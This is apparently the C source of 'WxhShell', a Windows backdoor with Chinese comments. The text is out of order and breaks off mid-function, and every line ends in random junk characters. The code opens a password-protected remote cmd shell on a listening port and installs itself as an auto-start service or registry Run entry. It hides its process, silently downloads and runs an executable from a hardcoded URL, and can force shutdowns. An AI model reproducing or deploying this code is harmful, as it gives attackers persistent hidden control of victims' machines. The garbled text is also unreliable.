    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M.|hnGX N  
    if(Boot(SHUTDOWN)) o^7NZ]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ui?t@.  
    else { 'BUdySng  
    closesocket(wsh); ^]aDLjD  
    ExitThread(0); P6IhpB59  
    } YdeSJ(:  
    break; dX+DE(y  
    } WBC'~h<@  
  // 获取shell yP-.8[;  
  case 's': { $]Fe9E?   
    CmdShell(wsh); Dhef|E<  
    closesocket(wsh); #}k^g:l1  
    ExitThread(0); >aa-ix &  
    break; [$] JvF  
  } C #TS  
  // 退出 m4 4aK qw)  
  case 'x': { /]+t$K\cBq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .5ingB3%  
    CloseIt(wsh); zH|!O!3"4  
    break; g00XZ0@  
    } H 5sj% v  
  // 离开 Q >sq:R+'  
  case 'q': { Mb$&~!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M%$zor  
    closesocket(wsh); *7-uQKp  
    WSACleanup(); O"Xjv`j:  
    exit(1); @Vb-BC,  
    break; M ?F({#]  
        }  Rl 6E  
  } .^Ek1fi.  
  } nnr(\r~  
|@d7o]eM|  
  // 提示信息 <Pf W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '<XG@L  
} IClnh1=  
  } ri\r%x  
~G"6^C:x  
  return; Kq.)5%~>  
} RJd55+h  
[kC-g @  
// shell模块句柄 y;Dw%m  
int CmdShell(SOCKET sock) (?J&Ar0  
{ FQ O6w'  
STARTUPINFO si; 53l9s <bOQ  
ZeroMemory(&si,sizeof(si)); jUjQ{eT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B-eYWt8s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5ue{&z @T  
PROCESS_INFORMATION ProcessInfo; 81aY*\  
char cmdline[]="cmd"; X0 %k`3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iL5+Uf)E3  
  return 0; seq S*^7  
} *K0CUir|  
r[~K m5  
// 自身启动模式 %} \@Wk~  
int StartFromService(void) .Olq_wuH  
{ >eJk)qM  
typedef struct b`%/ *  
{ f+gyJ#R`  
  DWORD ExitStatus; f#mY44:,C  
  DWORD PebBaseAddress; TQnMPELh"  
  DWORD AffinityMask; 'VO^H68  
  DWORD BasePriority; SJ+.i u/  
  ULONG UniqueProcessId; .!=g  
  ULONG InheritedFromUniqueProcessId; 1Rwk}wL  
}   PROCESS_BASIC_INFORMATION; n]_8!NU  
<K 4zH<y  
PROCNTQSIP NtQueryInformationProcess; o1kLT@VCl  
<$7*yV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xJZbax[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x~Pv  
rF 7EO%,  
  HANDLE             hProcess; )!M:=}."  
  PROCESS_BASIC_INFORMATION pbi; }{ 9E~"_[  
LI(Wu6*Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yo:>m*31  
  if(NULL == hInst ) return 0; -bKli<C  
59ro-nA9v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7?cZ9^z`w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (MbI8B>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {)jQbAr(G  
2:2rwH }e  
  if (!NtQueryInformationProcess) return 0; ;XGG&M%3  
Y_f6y 9?ZE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yjN|PqtSV  
  if(!hProcess) return 0; [l'~>  
PsLuyGR.<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =;c? 6{<1  
QbS w<V  
  CloseHandle(hProcess); .cle^P  
)LH nDx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3!ulBiMh  
if(hProcess==NULL) return 0; eK3J9 ;X  
!XgkK k  
HMODULE hMod; HtS:'~DYo  
char procName[255]; 1LcQ*d  
unsigned long cbNeeded; ggX'`bK  
'&s:,o-p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wCc:HfmjJ  
kqv>rA3  
  CloseHandle(hProcess); *crpM3fO>  
30[?XVI&  
if(strstr(procName,"services")) return 1; // 以服务启动 H VG'v>s@  
,/JrQWgD  
  return 0; // 注册表启动 xae}8E   
} RI cA)I.  
hC5ivJ  
// 主模块 GQ)hZt0  
int StartWxhshell(LPSTR lpCmdLine) 7kG>s9O  
{ `<+D<x)(3  
  SOCKET wsl; IXX^C}\,  
BOOL val=TRUE; H}JH339  
  int port=0; Gl}=Q7  
  struct sockaddr_in door; js7J#b7  
CWt,cwFW  
  if(wscfg.ws_autoins) Install(); UZ&bT'>;9g  
E jBEZL|_  
port=atoi(lpCmdLine); mKWA-h+f  
g8}/Ln*W'  
if(port<=0) port=wscfg.ws_port; vZ$uD,@;.  
TZPWMCN4  
  WSADATA data; 8|V6RgA%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [#uX{!q'  
D='/-3f!F]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   --.:eFE/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qh)@-r3  
  door.sin_family = AF_INET; <@5#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r~TiJ?8I  
  door.sin_port = htons(port); hGD7/qTN  
':F{st>&H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g"xLS}Al  
closesocket(wsl); 4d9i AN  
return 1; .U9NQwd  
} $7M64K{  
(a]'}c$X9`  
  if(listen(wsl,2) == INVALID_SOCKET) { [*8w v^  
closesocket(wsl); luLm:NWUM  
return 1; ma?569Z8~0  
} pk(<],0]X  
  Wxhshell(wsl); g :e|  
  WSACleanup(); 42t D$S5^  
<k}>eGn  
return 0; D OPOzh  
kw|bEL9!u  
} '_@=9 \<  
5K{(V^88F  
// 以NT服务方式启动 (/Z~0hA[Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QBY7ZT05Gt  
{ d*8 c,x  
DWORD   status = 0; kn`KU.J.  
  DWORD   specificError = 0xfffffff; H>-,1/IY  
p!U#53  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O)&xT2'J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yy>%dL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JL2IVENWc  
  serviceStatus.dwWin32ExitCode     = 0; @5Ril9J[b  
  serviceStatus.dwServiceSpecificExitCode = 0; +;U}SR<  
  serviceStatus.dwCheckPoint       = 0; pShSK Rg  
  serviceStatus.dwWaitHint       = 0; E^#|1Kpq  
:#I8Cf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wky~hm  
  if (hServiceStatusHandle==0) return; Vg6?a  
#=Q/<r.~G  
status = GetLastError();  QH9(l  
  if (status!=NO_ERROR) 2P@>H_JFF  
{ mkrvWZjZX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BAg*zYV7  
    serviceStatus.dwCheckPoint       = 0; <w.V!"!  
    serviceStatus.dwWaitHint       = 0; _N9yC\  
    serviceStatus.dwWin32ExitCode     = status; E)H8jBm6w  
    serviceStatus.dwServiceSpecificExitCode = specificError; E=sBcb/v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1:q55!b  
    return; !z58,hv  
  } !0*=z~  
=EsKFt"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^*%p]r  
  serviceStatus.dwCheckPoint       = 0; aSXoYG0\  
  serviceStatus.dwWaitHint       = 0; w*#TS8 \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A{mbL2AxwC  
} $//18+T  
N, ;'oL+  
// 处理NT服务事件,比如:启动、停止 ^7F!>!9Ca  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fcD$km  
{ u%VO'}Gz  
switch(fdwControl) p0`Wci  
{ \*!g0C 8 o  
case SERVICE_CONTROL_STOP: "{qhk{  
  serviceStatus.dwWin32ExitCode = 0; p^ 9QYR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JR'Q Th:z  
  serviceStatus.dwCheckPoint   = 0; o9q%=/@,  
  serviceStatus.dwWaitHint     = 0; ~e,  
  { (3{'GX2c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =u${2=  
  } #e+%;5\  
  return; bN<c5  
case SERVICE_CONTROL_PAUSE: d7$H})[^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T* -*U /  
  break; @\u)k  
case SERVICE_CONTROL_CONTINUE: %jKR\f G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3,3{wGvHHW  
  break; /=,^fCCN  
case SERVICE_CONTROL_INTERROGATE: roj/GZAy"  
  break; m5{Y  
}; Nz*qz"T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;wJLH\/  
} ;7tOFsV  
VGWqy4m  
// 标准应用程序主函数 ,'={/)c<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~;wSe[  
{ 1K0 9iB  
ElqHZ$a?  
// 获取操作系统版本 3f eI   
OsIsNt=GetOsVer(); OtY.s\m y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >`'#4!}G5j  
ZV_mP'1*  
  // 从命令行安装 pc:K5 -Os  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xb#x^?|  
ruB&&C6)v  
  // 下载执行文件 sZ]O&Za~  
if(wscfg.ws_downexe) { mZ ONxR6q$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (U/6~r'.L  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;9=9D{-4+  
} )&se/x+  
NAx( Qi3  
if(!OsIsNt) { iWGgt]RJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 4kxy7] W  
HideProc(); :NA cad  
StartWxhshell(lpCmdLine); o=q N+-N  
} {~b]6}O  
else IC92lPM }  
  if(StartFromService()) _Dwn@{[(8  
  // 以服务方式启动 scJ`oc: <J  
  StartServiceCtrlDispatcher(DispatchTable); )amdRc  
else = fuF]yL%  
  // 普通方式启动 7s<v06Wo  
  StartWxhshell(lpCmdLine); f!xIMIl)+  
1PjSa4  
return 0; Ibd7[A\  
} W{1=O)w  
Fl(+c0|kT  
(.<Gde#  
X~]eQaJ  
=========================================== rS>njG;R  
84e)huAs  
u;h9Ra1  
= Ky1v$<  
P.&,nFIg3  
PrDvRWM  
" ZKAIG=l&!  
q fadsVp  
#include <stdio.h> P ,xayy  
#include <string.h> EOVHTDkKf  
#include <windows.h> .6(Bf$E  
#include <winsock2.h> ?n?Ep[D  
#include <winsvc.h> l OI(+74  
#include <urlmon.h> 04WKAP'c N  
pOlQOdl  
#pragma comment (lib, "Ws2_32.lib") fHlmy[V+M  
#pragma comment (lib, "urlmon.lib") 67/hhO  
2EQ:mjxk  
#define MAX_USER   100 // 最大客户端连接数 +@usJkxul  
#define BUF_SOCK   200 // sock buffer XHlPjw  
#define KEY_BUFF   255 // 输入 buffer wgkh} b   
Ju)2J?Xs5  
#define REBOOT     0   // 重启 Ij@YOt  
#define SHUTDOWN   1   // 关机 ~" }t8`vP1  
0-l @U{  
#define DEF_PORT   5000 // 监听端口 uAK-%Uu?  
6H.D `"cj  
#define REG_LEN     16   // 注册表键长度 X<,sc;"b`k  
#define SVC_LEN     80   // NT服务名长度 OHp 121  
ra_`NsKF}  
// 从dll定义API fVb&=%e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V8[woJ5x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lJ R",_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CuT[V?^iD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UKMrR9[x*  
&R\ .^3  
// wxhshell配置信息  6>Lr  
struct WSCFG { c}g^wLa  
  int ws_port;         // 监听端口 t#6gjfIi  
  char ws_passstr[REG_LEN]; // 口令 N''9Bt+:  
  int ws_autoins;       // 安装标记, 1=yes 0=no -;Cl0O%  
  char ws_regname[REG_LEN]; // 注册表键名 e|"`W`"-  
  char ws_svcname[REG_LEN]; // 服务名 Y]B2-wt-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l: 1Zq_?v;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,)S|%tDW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M6pGf_qt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  {hZ_f3o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M2my>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ LFzpg  
@"'1"$  
}; }"Hf/{E$_"  
C1)TEkc"C  
// default Wxhshell configuration (`!?p ^>A  
struct WSCFG wscfg={DEF_PORT, i,<TaW*I  
    "xuhuanlingzhe", oxHS7b  
    1, l4L&hY^  
    "Wxhshell", w<-CKM3qe  
    "Wxhshell", BU<A+Pe>  
            "WxhShell Service", i^Ep[3  
    "Wrsky Windows CmdShell Service", v)okVyv  
    "Please Input Your Password: ", wEQV"I  
  1, ;w}ZI<ou  
  "http://www.wrsky.com/wxhshell.exe", K}&|lCsb  
  "Wxhshell.exe" \Ao M'+  
    }; iNd 8M V  
!OPa `kSh  
// 消息定义模块 ]{.rx),  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TP'EdzAT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cDm_QYQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hgfCM  
char *msg_ws_ext="\n\rExit."; A4Q8^^byY  
char *msg_ws_end="\n\rQuit."; **fJAANc  
char *msg_ws_boot="\n\rReboot..."; cl^wLC'o  
char *msg_ws_poff="\n\rShutdown..."; %]r@vjeyd  
char *msg_ws_down="\n\rSave to "; xo7H^!_   
d_1w 9 F A  
char *msg_ws_err="\n\rErr!"; EoIP#Cnd1  
char *msg_ws_ok="\n\rOK!"; ?9OiF-:n  
0Evmq3,9  
char ExeFile[MAX_PATH]; {-7];e  
int nUser = 0; +>44'M^Z|(  
HANDLE handles[MAX_USER]; )O#>ONm^  
int OsIsNt; [0Z r z+q  
g=o)=sQd  
SERVICE_STATUS       serviceStatus; BqCBH!^x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j:O=9  
5?kF'yksR  
// 函数声明 @Zjy"u  
int Install(void); UccnQZ7/I  
int Uninstall(void); daGGgSbh  
int DownloadFile(char *sURL, SOCKET wsh); C8-4 m68"  
int Boot(int flag); kNd[M =%  
void HideProc(void); a^,6[  
int GetOsVer(void); m9wV#Ldu  
int Wxhshell(SOCKET wsl); mI@E>VCV[  
void TalkWithClient(void *cs); st+X~;PX*  
int CmdShell(SOCKET sock); 0p*(<8D}  
int StartFromService(void); RUlM""@b  
int StartWxhshell(LPSTR lpCmdLine); Y3mATw 3Wh  
UStZ3A'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PfF7*}P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UyEyk$6SU  
N6Vn/7I5%  
// 数据结构和表定义 6AUXYbK,  
SERVICE_TABLE_ENTRY DispatchTable[] = & WYIfx{  
{ }f;Zx)!  
{wscfg.ws_svcname, NTServiceMain}, esLPJx  
{NULL, NULL} z X2BJ  
}; O)Nj'Hcu  
zX{ [Z  
// 自我安装 \2L%%M  
int Install(void) WG1Uv PK  
{ cCw?%qq,L  
  char svExeFile[MAX_PATH]; YaFQy0t%/5  
  HKEY key; s@jzu  
  strcpy(svExeFile,ExeFile); y4C_G?  
=zK7`5  
// 如果是win9x系统,修改注册表设为自启动 Y9'Bdm/  
if(!OsIsNt) { !D7/Ja  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *h-_   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L/"u,~[  
  RegCloseKey(key); 8N'`kd~6[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DSM,dO'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kK16+`\+  
  RegCloseKey(key); cr27q6_  
  return 0; vMRM/.  
    } ALiA+k N  
  } "F7g8vu  
} (9*=d_=  
else { AVZ-g/<  
_`+ !,kG[  
// 如果是NT以上系统,安装为系统服务 g%4-QCZ,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K9m L1[B  
if (schSCManager!=0) V2^(qpM!  
{ _o8il3  
  SC_HANDLE schService = CreateService yLW iY~Fd  
  ( Vx~[;*{,C9  
  schSCManager, xzyV| (  
  wscfg.ws_svcname, 5dXC  
  wscfg.ws_svcdisp, EZ8Ih,j9  
  SERVICE_ALL_ACCESS, c}U&!R2p{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y 'Yoc  
  SERVICE_AUTO_START, C8m8ys  
  SERVICE_ERROR_NORMAL, Aq^1(-g  
  svExeFile, c#<v:b  
  NULL, ^; Nu\c  
  NULL, QNLkj`PL/  
  NULL, |0vY'A)]  
  NULL, 2w$o;zz1  
  NULL S =U*is  
  ); j I_TN5  
  if (schService!=0) d?$FAy'o5  
  { zRx-xWo  
  CloseServiceHandle(schService); [@eNb^ R  
  CloseServiceHandle(schSCManager); zb OEF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2~<?E`+  
  strcat(svExeFile,wscfg.ws_svcname); LR@rn2Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -|~6Zf"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DDwH9*  
  RegCloseKey(key); nBgksB*A  
  return 0; ?}D@{%O3T  
    } 5sao+dZ"|  
  } m;>HUTj  
  CloseServiceHandle(schSCManager); N32!*TsWs  
} ?i>.<IPOq  
} )|~pocXt<  
%4Y/-xF}9,  
return 1; SaH0YxnY+  
} RC sQLKqF  
Hq?-e?Nc  
// 自我卸载 z:ue]7(.  
int Uninstall(void) nr Jl>H  
{ C:"Al-  
  HKEY key; y[UTuFv~Q  
npkE [JE:  
if(!OsIsNt) { yEJ}!/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I8d#AVF2  
  RegDeleteValue(key,wscfg.ws_regname); <{Wsh#7}.  
  RegCloseKey(key); oP$NTy[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X2 c<.  
  RegDeleteValue(key,wscfg.ws_regname); 9fp1*d  
  RegCloseKey(key); [[}KCND  
  return 0; QmvhmsDL  
  } $z"3_4a  
} vrXUS9i.  
} %G1kkcdH<  
else { ,]gYy00w0s  
t4R=$ km  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x{`>Il  
if (schSCManager!=0) bF;g.-.2  
{ h$)+$^YI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K9\`Wu_qL  
  if (schService!=0) ne4j_!V{Mf  
  { 2%y}El^+_  
  if(DeleteService(schService)!=0) { EtjN :p|$  
  CloseServiceHandle(schService); _Qs=v0B//  
  CloseServiceHandle(schSCManager); ^31X-}t v  
  return 0; Q&}`( ]k  
  } rK;F]ei  
  CloseServiceHandle(schService); -/*-e /+b  
  } ] mYT!(}  
  CloseServiceHandle(schSCManager); v) mO"\  
} 9YS&RBJu  
} &x =}m  
_5 Zhv-7  
return 1; Z& e_yl  
} sPuNwVX>}I  
`h*)PitRa  
// 从指定url下载文件 8@^=k.5IK  
int DownloadFile(char *sURL, SOCKET wsh) )R.y>Ucb0  
{ Tp2`eY5  
  HRESULT hr; '!>LF1W=  
char seps[]= "/"; FGo{6'K(:  
char *token; U6;,<-bL  
char *file; bx`s;r=  
char myURL[MAX_PATH]; tn&~~G~#  
char myFILE[MAX_PATH];  3=@94i  
5TqB&GP0  
strcpy(myURL,sURL);  u;R<  
  token=strtok(myURL,seps); 0l=g$G \%  
  while(token!=NULL) G[z!;Zuf  
  { ^vPM\qP#g  
    file=token; 9(g?{6v|  
  token=strtok(NULL,seps); I]t ",s/j  
  } xs y5"  
FvQ>Y')R7Z  
GetCurrentDirectory(MAX_PATH,myFILE); !)~b Un  
strcat(myFILE, "\\"); .Az' THD}  
strcat(myFILE, file); c193Or'6Y  
  send(wsh,myFILE,strlen(myFILE),0);  MO|aN,  
send(wsh,"...",3,0); [}Vne;V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `./$hh  
  if(hr==S_OK) W9nmTz\8  
return 0; 2x%Xx3!  
else b2]1Dfw  
return 1; Qxr&zT7f  
#\U;,r  
} w7aC=B/{?i  
<2@V$$Qg.~  
// 系统电源模块 < 3i2(k  
int Boot(int flag) ;/T=ctIs  
{ N) D;)ZH  
  HANDLE hToken; n\Y{ ?x  
  TOKEN_PRIVILEGES tkp; r!A1Sfo4P  
^GMM%   
  if(OsIsNt) { `IL''eJug_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \@8j&],dl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8D7 = ]  
    tkp.PrivilegeCount = 1; Y|$3%t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q'xZ\t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EF1aw2  
if(flag==REBOOT) { -wJ/j~ +m+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OE_;i}58  
  return 0; F*Lm=^:  
} RS'!>9I  
else { 1 XsB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1Z-f@PoM  
  return 0; J<J_yRg2  
} Qv=F'  
  } N6yPuH  
  else { ]@YBa4}w  
if(flag==REBOOT) { 5H8]N#Y&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yv1Z*wTpO  
  return 0; 67<Ym0+ =  
} Qxb5Y)/jn  
else { X;`XkOjk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t<~$?tuZ  
  return 0; >HMuh)  
} ,FWC|uM"  
} x xMV2&,Jq  
t*X k'(v  
return 1; Xi vzhI4  
} RE~:+.eB  
t0t" =(d  
// win9x进程隐藏模块 Y v22,|:  
void HideProc(void) &)Y26*(`  
{ HAa$ pGb  
^=kUNyY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HjG!pO{  
  if ( hKernel != NULL ) m^hi}Am1  
  { aLzRbRv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8&T6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L<8:1/d\  
    FreeLibrary(hKernel); Td~CnCor  
  } 9&(d2  
Z :51Q  
return; %-u Ra\  
} p) #7K  
)q#1C]7m*  
// 获取操作系统版本 cO}`PD$i  
int GetOsVer(void) 7Uy49cs,  
{ gr]:u4}  
  OSVERSIONINFO winfo; HHd;<%q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hqsj5j2i  
  GetVersionEx(&winfo); <<a1a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rmVF88/;  
  return 1; ks{y=@ <,  
  else gKyYBr  
  return 0; .7lDJ2  
} rDr3)*H?0  
^eu={0k  
// 客户端句柄模块 =2-!ay:  
int Wxhshell(SOCKET wsl) %=C49(/K_  
{ e6O+hC]:  
  SOCKET wsh; !yxb=>A  
  struct sockaddr_in client; osB8 '\GR  
  DWORD myID; ZV:cg v  
f]N.$,:$  
  while(nUser<MAX_USER) T_T@0`7  
{ jV:Krk6T<  
  int nSize=sizeof(client); c -1Hxd YD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~CTe5PX c  
  if(wsh==INVALID_SOCKET) return 1; zB,Vi-)vH  
V)HX+D>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P[E:=p  
if(handles[nUser]==0) frsqnvm;+  
  closesocket(wsh); mBb;:-5  
else TCb 7-s  
  nUser++; _wvSLu<q  
  } w0`aW6t#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `R\aNgCS}  
iv3=J   
  return 0; Rwu y!F  
} 2h Wtpus  
h?cf)L  
// 关闭 socket \J@i:J6x$1  
void CloseIt(SOCKET wsh) AC`4n|,zJ;  
{ Atdr|2  
closesocket(wsh); ?ks3K-.4  
nUser--; #2&DDy)B f  
ExitThread(0); M}jF-z  
} f8Z[prfP  
V_)G=#6Dy  
// 客户端请求句柄 (+M]C]  
void TalkWithClient(void *cs) >j&+mii  
{  _tl  
6I5,PB  
  SOCKET wsh=(SOCKET)cs; H83Gx;  
  char pwd[SVC_LEN]; f=$w,^)M  
  char cmd[KEY_BUFF]; v$H=~m  
char chr[1]; >%x N?%  
int i,j; fMGL1VN  
/&PRw<}>_o  
  while (nUser < MAX_USER) { EL--?<g  
>a6{y   
if(wscfg.ws_passstr) { ape \zZCV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qM~;Q6{v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>v3&[lGv  
  //ZeroMemory(pwd,KEY_BUFF); !|\$|m<n  
      i=0; rGNYu\\  
  while(i<SVC_LEN) { % ~!A,  
2h_XfY'3pX  
  // 设置超时 g>L4N.ZH_v  
  fd_set FdRead; Z>9uVBE02  
  struct timeval TimeOut; huPAWlxT  
  FD_ZERO(&FdRead); aicvu(%EE  
  FD_SET(wsh,&FdRead); gL)l)}#  
  TimeOut.tv_sec=8; MM+x}g.?  
  TimeOut.tv_usec=0; 8mrB_B5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]g/:lS4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ef !@|2  
4Z'/dI`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !c 3c%=W  
  pwd=chr[0]; ^`BiA'gPPC  
  if(chr[0]==0xd || chr[0]==0xa) { -'q#u C  
  pwd=0; 8ClOd<I  
  break; z' oK 0"  
  } q?&Ap*  
  i++; pJnT \~o  
    } NU]+ {7  
?%QWpKO7X  
  // 如果是非法用户,关闭 socket @ )bCh(u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D90.z"N\i9  
} {c(@u6l28  
 BVJ6U[h`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5mtsN#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zCpsGr  
,sa%u Fm  
while(1) { -[h2fqu1  
?.A~O-w  
  ZeroMemory(cmd,KEY_BUFF); HITw{RPrW  
}fS`jq;  
      // 自动支持客户端 telnet标准   FrKI=8  
  j=0; ?h$ =]  
  while(j<KEY_BUFF) { @R c/ ^B:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LBcnBo</v  
  cmd[j]=chr[0]; j3W)  
  if(chr[0]==0xa || chr[0]==0xd) { xE.yh#?.k  
  cmd[j]=0; <6!;mb ;cX  
  break; 6k4ZzQ}  
  } >ocDh~@aP  
  j++; 4Go$OQ`  
    } q=,  
,$H[DX  
  // 下载文件 ;?q>F3 n  
  if(strstr(cmd,"http://")) { .eNeq C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pW y+oZ  
  if(DownloadFile(cmd,wsh)) t9U-c5bR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uG\ @e'pr  
  else \f!j9O9S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cZb5h 9  
  } p%ve1>c  
  else { VR'R7  
'5f6 M^}|2  
